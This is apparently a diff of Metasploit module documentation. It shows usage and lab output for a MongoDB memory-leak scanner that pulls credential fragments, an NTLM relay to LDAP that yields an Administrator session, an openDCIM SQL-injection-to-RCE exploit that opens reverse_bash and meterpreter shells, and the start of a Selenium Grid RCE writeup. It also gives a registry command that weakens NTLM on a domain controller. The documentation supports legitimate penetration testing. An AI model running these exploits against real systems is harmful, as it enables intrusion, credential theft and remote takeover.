[*] 192.168.1.100:27017 - Progress: 1000/8173 (12.2%) - 5 leaks found - ETA: 42s
|
||||
...
|
||||
|
||||
[!] 192.168.1.100:27017 - Potential secrets detected:
|
||||
[!] 192.168.1.100:27017 - - Pattern 'password' at offset 757 (pos 12): ...config: { password=abc123&user=admin...
|
||||
[!] 192.168.1.100:27017 - - Pattern 'password' at offset 757
|
||||
|
||||
[+] 192.168.1.100:27017 - Total leaked: 1703 bytes
|
||||
[+] 192.168.1.100:27017 - Unique fragments: 13
|
||||
[+] 192.168.1.100:27017 - Total leaked: 703 bytes
|
||||
[+] 192.168.1.100:27017 - Unique fragments: 8
|
||||
[+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin
|
||||
[+] 192.168.1.100:27017 - JSON report saved to: /root/.msf4/loot/20251230_mongobleed.json
|
||||
[*] 192.168.1.100:27017 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -182,12 +166,15 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
|
||||
RHOSTS => 192.168.1.100
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set REPEAT 3
|
||||
REPEAT => 3
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set MAX_OFFSET 16384
|
||||
MAX_OFFSET => 16384
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
|
||||
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
|
||||
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - Server compressors: zlib
|
||||
[*] 192.168.1.100:27017 - Running 3 scan passes to maximize data collection...
|
||||
[*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
|
||||
@@ -211,15 +198,16 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
|
||||
RHOSTS => 192.168.1.100
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set QUICK_SCAN true
|
||||
QUICK_SCAN => true
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
|
||||
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
|
||||
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - Server compressors: zlib
|
||||
[*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
|
||||
[*] 192.168.1.100:27017 - Scanning 97 offsets (20-8192, step=1, quick mode)
|
||||
[+] 192.168.1.100:27017 - offset=20 len=45 : connection string fragment...
|
||||
[+] 192.168.1.100:27017 - offset=128 len=23 : mongodb://admin:pass...
|
||||
|
||||
[+] 192.168.1.100:27017 - Total leaked: 234 bytes
|
||||
@@ -228,33 +216,52 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
[+] 192.168.1.100:27017 - JSON report saved to: /root/.msf4/loot/20251230_mongobleed.json
|
||||
```
|
||||
|
||||
### Server Without zlib Compression
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check rhost=192.168.123.144
|
||||
|
||||
[*] 192.168.123.144:27017 - The target is not exploitable. Server does not have zlib compression enabled (MongoDB 4.4.26)
|
||||
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run rhost=192.168.123.144
|
||||
|
||||
[*] 192.168.123.144:27017 - MongoDB version: 4.4.26
|
||||
[+] 192.168.123.144:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.123.144:27017 - Server compressors: none
|
||||
[-] 192.168.123.144:27017 - Server does not support zlib compression - vulnerability not exploitable
|
||||
[*] 192.168.123.144:27017 - The CVE-2025-14847 vulnerability requires zlib compression to be enabled
|
||||
[*] 192.168.123.144:27017 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### JSON Report Output
|
||||
|
||||
The JSON report includes full metadata for each leak:
|
||||
When `SAVE_JSON` is enabled (the default), the module saves a structured JSON report alongside the raw loot. This includes full
|
||||
metadata for each leak fragment:
|
||||
|
||||
```json
|
||||
{
|
||||
"scan_info": {
|
||||
"target": "192.168.1.100",
|
||||
"port": 27017,
|
||||
"mongodb_version": "7.0.14",
|
||||
"mongodb_version": "4.4.26",
|
||||
"scan_time": "2025-12-30T14:30:00Z",
|
||||
"cve": "CVE-2025-14847"
|
||||
},
|
||||
"summary": {
|
||||
"total_leaks": 13,
|
||||
"total_bytes": 1703,
|
||||
"secrets_found": 2
|
||||
"total_leaks": 8,
|
||||
"total_bytes": 703,
|
||||
"secrets_found": 1
|
||||
},
|
||||
"secrets": [
|
||||
"Pattern 'password' at offset 757..."
|
||||
],
|
||||
"leaks": [
|
||||
{
|
||||
"offset": 20,
|
||||
"length": 82,
|
||||
"data_base64": "W2Nvbm4zODI0OF0gZW5kIGNvbm5lY3Rpb24...",
|
||||
"data_printable": "[conn38248] end connection 10.0.0.5:36845...",
|
||||
"offset": 77,
|
||||
"length": 39,
|
||||
"data_base64": "Y29ubjM4MjQ4XSBlbmQgY29ubmVjdGlvbi4uLg==",
|
||||
"data_printable": "conn38248] end connection 10.0.0.5:36845",
|
||||
"has_secret": false,
|
||||
"timestamp": "2025-12-30T14:30:01Z"
|
||||
}
|
||||
@@ -262,8 +269,9 @@ The JSON report includes full metadata for each leak:
|
||||
}
|
||||
```
|
||||
|
||||
You can process the JSON with standard tools:
|
||||
```bash
|
||||
The JSON report can be processed with standard tools:
|
||||
|
||||
```
|
||||
# Extract all leaked data
|
||||
cat mongobleed.json | jq -r '.leaks[].data_printable'
|
||||
|
||||
@@ -278,43 +286,33 @@ cat mongobleed.json | jq '.summary'
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
|
||||
RHOSTS => 192.168.1.100
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set SAVE_RAW_RESPONSES true
|
||||
SAVE_RAW_RESPONSES => true
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
|
||||
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
|
||||
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
|
||||
...
|
||||
|
||||
[+] 192.168.1.100:27017 - Total leaked: 1703 bytes
|
||||
[+] 192.168.1.100:27017 - Unique fragments: 13
|
||||
[+] 192.168.1.100:27017 - Total leaked: 703 bytes
|
||||
[+] 192.168.1.100:27017 - Unique fragments: 8
|
||||
[+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin
|
||||
[+] 192.168.1.100:27017 - Raw responses saved to: /root/.msf4/loot/20251230_mongobleed_raw.bin
|
||||
```
|
||||
|
||||
You can then analyze the raw responses offline:
|
||||
```bash
|
||||
|
||||
```
|
||||
strings /root/.msf4/loot/20251230_mongobleed_raw.bin | grep -i password
|
||||
```
|
||||
|
||||
### Server Without zlib Compression
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
|
||||
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - Server compressors: snappy
|
||||
[-] 192.168.1.100:27017 - Server does not support zlib compression - vulnerability not exploitable
|
||||
[*] 192.168.1.100:27017 - The CVE-2025-14847 vulnerability requires zlib compression to be enabled
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Technical Details
|
||||
|
||||
### How the Vulnerability Works
|
||||
|
||||
The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was caused by returning `output.length()` (the allocated buffer size) instead of the actual decompressed data length. This allowed attackers to:
|
||||
The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was caused by returning `output.length()` (the allocated
|
||||
buffer size) instead of the actual decompressed data length. This allowed attackers to:
|
||||
|
||||
1. Send a compressed message claiming a large uncompressed size
|
||||
2. MongoDB allocates a buffer based on the claimed size
|
||||
@@ -324,7 +322,12 @@ The vulnerability exists in MongoDB's `message_compressor_zlib.cpp`. The bug was
|
||||
|
||||
### Detection Technique
|
||||
|
||||
The Wiz Research "magic packet" used in the `check` method sends a minimal BSON document `{"a": 1}` inside a malformed `OP_COMPRESSED` message with an inflated `uncompressedSize` field. If the server responds with BSON signatures or field name errors containing unexpected data, the vulnerability is confirmed.
|
||||
The Wiz Research "magic packet" used in the `check` command sends a minimal BSON document `{"a": 1}` inside a malformed
|
||||
`OP_COMPRESSED` message with an inflated `uncompressedSize` field. If the server responds with BSON parsing errors, the vulnerability
|
||||
is confirmed, since a patched server rejects the inflated size before parsing.
|
||||
|
||||
The module validates that the target is actually a MongoDB service before probing, preventing false positives against non-MongoDB
|
||||
services. Standard MongoDB error message strings are filtered from leak results to avoid reporting server error text as leaked memory.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the
|
||||
configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the
|
||||
Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing.
|
||||
|
||||
This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to
|
||||
one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the
|
||||
client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not
|
||||
respond to redirects.
|
||||
|
||||
The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent
|
||||
in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while
|
||||
GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can
|
||||
be prefixed with Negotiate.
|
||||
|
||||
If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules
|
||||
that support LDAP sessions, such as:
|
||||
|
||||
- `admin/ldap/rbcd`
|
||||
- `auxiliary/gather/ldap_query`
|
||||
|
||||
The module also supports capturing NTLMv1 and NTLMv2 hashes.
|
||||
|
||||
### Setup
|
||||
|
||||
For this relay attack to be successful, it is important to understand the difference between the Target Server (the
|
||||
Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP
|
||||
request) and how their respective configurations can impact the success of the attack.
|
||||
|
||||
The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel`
|
||||
registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse
|
||||
LM and NTLM"), the DC will reject the relayed authentication and the module will fail.
|
||||
|
||||
You can verify or modify the Domain Controller's level using the following commands:
|
||||
```cmd
|
||||
# To check the current level:
|
||||
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
|
||||
|
||||
# To set the level to 4 (or lower):
|
||||
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f
|
||||
```
|
||||
|
||||
The client being coerced must be willing to send the vulnerable NTLM responses.
|
||||
- Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily
|
||||
be relayed to a vulnerable DC.
|
||||
- Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim
|
||||
machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local
|
||||
registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it
|
||||
restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/server/relay/http_to_ldap`
|
||||
3. Set the `RHOSTS` options
|
||||
4. Run the module
|
||||
5. Send an authentication attempt to the relay server
|
||||
6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials`
|
||||
7. Check the output for successful relays and captured hashes
|
||||
|
||||
## Scenarios
|
||||
### Relaying to multiple targets
|
||||
```
|
||||
msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201
|
||||
rhosts => 172.16.199.200 172.16.199.201
|
||||
msf auxiliary(server/relay/http_to_ldap) > run
|
||||
[*] Auxiliary module running as background job 2.
|
||||
|
||||
[*] Relay Server started on 0.0.0.0:80
|
||||
[*] Server started.
|
||||
msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state unauthenticated from 172.16.199.130
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state unauthenticated from 172.16.199.130
|
||||
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
|
||||
[*] Attempting to relay to ldap://172.16.199.201:389
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state awaiting_type3 from 172.16.199.130
|
||||
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
|
||||
[+] Relay succeeded
|
||||
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state unauthenticated from 172.16.199.130
|
||||
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
|
||||
[*] Attempting to relay to ldap://172.16.199.200:389
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
|
||||
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
|
||||
[*] Processing request in state awaiting_type3 from 172.16.199.130
|
||||
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
|
||||
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
|
||||
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
|
||||
[+] Relay succeeded
|
||||
[*] Target list exhausted for 172.16.199.130. Closing connection.
|
||||
msf auxiliary(server/relay/http_to_ldap) > sessions -i -1
|
||||
[*] Starting interaction with 5...
|
||||
|
||||
LDAP (172.16.199.200) > getuid
|
||||
[*] Server username: KERBEROS\Administrator
|
||||
LDAP (172.16.199.200) >
|
||||
```
|
||||
@@ -0,0 +1,231 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a SQL injection vulnerability in openDCIM's `install.php` endpoint
|
||||
(CVE-2026-28515) to achieve remote code execution.
|
||||
|
||||
After installation, `install.php` remains accessible and processes LDAP configuration
|
||||
parameters via `UpdateParameter()` without authentication or input sanitization. The
|
||||
attacker injects stacked SQL queries through the LDAP form to overwrite the Graphviz
|
||||
`dot` binary path in `fac_Config`, then triggers `report_network_map.php` which calls
|
||||
`exec()` with the poisoned value.
|
||||
|
||||
### Affected Versions
|
||||
|
||||
openDCIM version 23.04 (last public release), through commit 4467e9c4, is affected. Tested up to 25.01.
|
||||
|
||||
### Attack Chain
|
||||
|
||||
1. POST to `install.php` with stacked SQL via LDAP parameters (CWE-862 + CWE-89)
|
||||
2. Backup original config, overwrite `dot` parameter with command payload
|
||||
3. GET `report_network_map.php` which calls `exec()` with the poisoned `dot` value (CWE-78)
|
||||
4. Restore original configuration from backup table
|
||||
|
||||
## Lab Setup
|
||||
|
||||
### Docker (Recommended)
|
||||
|
||||
The official openDCIM Docker image (`opendcim/opendcim`) ships with no authentication
|
||||
configured. openDCIM delegates auth entirely to Apache via `$_SERVER['REMOTE_USER']` -
|
||||
without it, every page errors out. Real-world Docker deployments work around this by adding
|
||||
`SetEnv REMOTE_USER dcim` to the Apache vhost, which sets `REMOTE_USER` for every request
|
||||
without any actual credential check. This makes the entire application unauthenticated.
|
||||
|
||||
The lab reproduces this scenario. Create the following files:
|
||||
|
||||
**docker-compose.yml:**
|
||||
|
||||
```yaml
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
container_name: opendcim-lab
|
||||
ports:
|
||||
- "18091:80"
|
||||
environment:
|
||||
OPENDCIM_DB_HOST: db
|
||||
depends_on:
|
||||
db:
|
||||
condition: service_healthy
|
||||
|
||||
db:
|
||||
image: mariadb:10.7
|
||||
container_name: opendcim-db
|
||||
environment:
|
||||
MARIADB_ROOT_PASSWORD: rootpass
|
||||
MARIADB_DATABASE: dcim
|
||||
MARIADB_USER: dcim
|
||||
MARIADB_PASSWORD: dcim
|
||||
volumes:
|
||||
- db_data:/var/lib/mysql
|
||||
healthcheck:
|
||||
test: ["CMD", "mariadb", "-udcim", "-pdcim", "-e", "SELECT 1"]
|
||||
interval: 5s
|
||||
timeout: 5s
|
||||
retries: 20
|
||||
|
||||
volumes:
|
||||
db_data:
|
||||
```
|
||||
|
||||
**Dockerfile:**
|
||||
|
||||
```dockerfile
|
||||
FROM opendcim/opendcim:24.01-beta
|
||||
COPY 000-default.conf /etc/apache2/sites-available/
|
||||
```
|
||||
|
||||
**000-default.conf:**
|
||||
|
||||
```apache
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin webmaster@localhost
|
||||
DocumentRoot /var/www/html
|
||||
<Directory "/var/www/html">
|
||||
Options -Indexes
|
||||
AllowOverride All
|
||||
SetEnv REMOTE_USER dcim
|
||||
</Directory>
|
||||
AllowEncodedSlashes On
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
Then run:
|
||||
|
||||
```bash
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
This starts openDCIM on port 18091 with `SetEnv REMOTE_USER dcim`, reproducing how Docker
|
||||
deployments are configured in the wild. No HTTP credentials are needed.
|
||||
|
||||
**Note:** If the target uses HTTP Basic Auth (htpasswd/LDAP), set `HttpUsername` and
|
||||
`HttpPassword` accordingly. Any valid Apache credential is enough - `install.php` has no
|
||||
role check.
|
||||
|
||||
**Note:** The fetch payload handler is not supported with Target 0 (Unix/Linux Command Shell)
|
||||
since standard fetch tools (curl, wget, etc.) are typically not available in the target's
|
||||
execution context (`exec()` via Graphviz dot path).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/opendcim_install_sqli_rce`
|
||||
3. `set RHOSTS <target>`
|
||||
4. `set RPORT <port>`
|
||||
5. `set HttpUsername <user>` (if Basic Auth is configured)
|
||||
6. `set HttpPassword <pass>`
|
||||
7. `set LHOST <attacker_ip>`
|
||||
8. `set payload cmd/unix/reverse_bash`
|
||||
9. `check`
|
||||
10. `exploit`
|
||||
11. You should get a shell as the Apache user (typically `www-data`)
|
||||
|
||||
## Options
|
||||
|
||||
### HttpUsername (Advanced)
|
||||
|
||||
HTTP Basic Auth username. Leave empty for deployments using Apache `SetEnv REMOTE_USER`.
|
||||
|
||||
### HttpPassword (Advanced)
|
||||
|
||||
HTTP Basic Auth password. Leave empty for deployments using Apache `SetEnv REMOTE_USER`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### openDCIM 24.01 on Ubuntu - Command Shell (Target 0)
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/opendcim_install_sqli_rce
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 18091
|
||||
RPORT => 18091
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpUsername dcim
|
||||
HttpUsername => dcim
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpPassword dcim
|
||||
HttpPassword => dcim
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set LHOST 192.168.64.1
|
||||
LHOST => 192.168.64.1
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > check
|
||||
[*] install.php is accessible, testing time-based SQL injection
|
||||
[*] Test 1/3: SLEEP(5)
|
||||
[*] Elapsed time: 5.1 seconds.
|
||||
[*] Test 2/3: SLEEP(4)
|
||||
[*] Elapsed time: 4.0 seconds.
|
||||
[*] Test 3/3: SLEEP(6)
|
||||
[*] Elapsed time: 6.1 seconds.
|
||||
[+] 127.0.0.1:18091 - The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.64.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
|
||||
[*] Performing LORI attack (LDAP Override Remote Injection)
|
||||
[*] Triggering exec() via report_network_map.php
|
||||
[*] Restoring original configuration
|
||||
[+] Configuration restored successfully.
|
||||
[*] Command shell session 1 opened (192.168.64.1:4444 -> 192.168.64.3:45678) at 2026-02-28 15:00:00 +0100
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### openDCIM 24.01 on Ubuntu - Meterpreter via CmdStager (Target 1)
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/opendcim_install_sqli_rce
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 18091
|
||||
RPORT => 18091
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpUsername dcim
|
||||
HttpUsername => dcim
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpPassword dcim
|
||||
HttpPassword => dcim
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set LHOST 192.168.64.1
|
||||
LHOST => 192.168.64.1
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.64.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
|
||||
[*] Executing command stager
|
||||
[*] Sending stager progress: 100.00% (250/250 bytes)
|
||||
[*] Restoring original configuration
|
||||
[+] Configuration restored successfully.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.64.3
|
||||
[*] Meterpreter session 1 opened (192.168.64.1:4444 -> 192.168.64.3:54321) at 2026-02-28 15:05:00 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
```
|
||||
|
||||
### openDCIM with SetEnv REMOTE_USER (No Basic Auth)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 192.168.1.100
|
||||
RHOSTS => 192.168.1.100
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > unset HttpUsername
|
||||
Unsetting HttpUsername...
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > unset HttpPassword
|
||||
Unsetting HttpPassword...
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.50:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
|
||||
[*] Performing LORI attack (LDAP Override Remote Injection)
|
||||
[*] Triggering exec() via report_network_map.php
|
||||
[*] Restoring original configuration
|
||||
[+] Configuration restored successfully.
|
||||
[*] Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:54321) at 2026-02-28 15:10:00 +0100
|
||||
```
|
||||
@@ -0,0 +1,197 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Selenium Grid and Selenoid expose a WebDriver API that allows creating browser sessions
|
||||
with arbitrary capabilities. When deployed without authentication (the default for both),
|
||||
an attacker can achieve remote code execution through two browser-specific techniques:
|
||||
|
||||
**Chrome (binary override):** The `goog:chromeOptions` binary field can be set to an
|
||||
arbitrary executable such as `/usr/bin/python3`, since ChromeDriver does not validate it.
|
||||
This was fixed in Selenium Grid 4.11.0 via the stereotype capabilities merge. All Selenoid
|
||||
versions remain vulnerable.
|
||||
|
||||
**Firefox (profile handler):** A custom profile containing a malicious MIME handler that maps
|
||||
`application/sh` to `/bin/sh` can be injected via `moz:firefoxOptions`. Navigating to a
|
||||
`data:` URI with that content type triggers shell execution. This technique has never been
|
||||
patched and works on all Selenium Grid versions including the latest release (4.40.0 at the
|
||||
time of writing). This was originally reported in
|
||||
[SeleniumHQ/selenium#9526](https://github.com/SeleniumHQ/selenium/issues/9526) in May 2021.
|
||||
|
||||
The module auto-detects available browsers and selects the best attack vector. Firefox is
|
||||
preferred as it works on all Grid versions.
|
||||
|
||||
The default Docker images run as `seluser`/`selenium` with passwordless sudo, allowing
|
||||
trivial privilege escalation to root.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Selenium Grid < 4.11.0 with Chrome nodes (binary override)
|
||||
* Selenium Grid - all versions with Firefox nodes (profile handler, unpatched)
|
||||
* Selenoid - all versions with Chrome or Firefox (project archived December 2024)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* selenium/standalone-chrome:4.10.0 on Ubuntu 24.04 (Chrome binary override)
|
||||
* selenium/standalone-firefox:4.10.0 on Ubuntu 24.04 (Firefox profile handler)
|
||||
* selenium/standalone-firefox:latest (4.40.0) on Ubuntu 24.04 (Firefox profile handler)
|
||||
* Selenoid 1.11.3 with selenoid/chrome:128.0 on Ubuntu 24.04 (Chrome binary override)
|
||||
|
||||
### Installation (Selenium Grid - Firefox)
|
||||
|
||||
1. `docker pull selenium/standalone-firefox:latest`
|
||||
|
||||
2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-firefox:latest`
|
||||
|
||||
### Installation (Selenium Grid - Chrome)
|
||||
|
||||
1. `docker pull selenium/standalone-chrome:4.10.0`
|
||||
|
||||
2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-chrome:4.10.0`
|
||||
|
||||
### Installation (Selenoid)
|
||||
|
||||
1. Create `browsers.json`:
|
||||
```json
|
||||
{
|
||||
"chrome": {
|
||||
"default": "128.0",
|
||||
"versions": {
|
||||
"128.0": {
|
||||
"image": "selenoid/chrome:128.0",
|
||||
"port": "4444",
|
||||
"path": "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
2. `docker pull selenoid/chrome:128.0`
|
||||
|
||||
3. Start Selenoid:
|
||||
```
|
||||
docker run -d -p 4444:4444 \
|
||||
-e DOCKER_API_VERSION=1.44 \
|
||||
-v $(pwd)/browsers.json:/etc/selenoid/browsers.json:ro \
|
||||
-v /var/run/docker.sock:/var/run/docker.sock \
|
||||
aerokube/selenoid:latest-release
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/selenium_greed_rce`
|
||||
4. Do: `set RHOSTS <rhost>`
|
||||
5. Do: `set LHOST <lhost>`
|
||||
6. Do: `run`
|
||||
7. You should get a session
|
||||
|
||||
## Options
|
||||
|
||||
### BROWSER
|
||||
|
||||
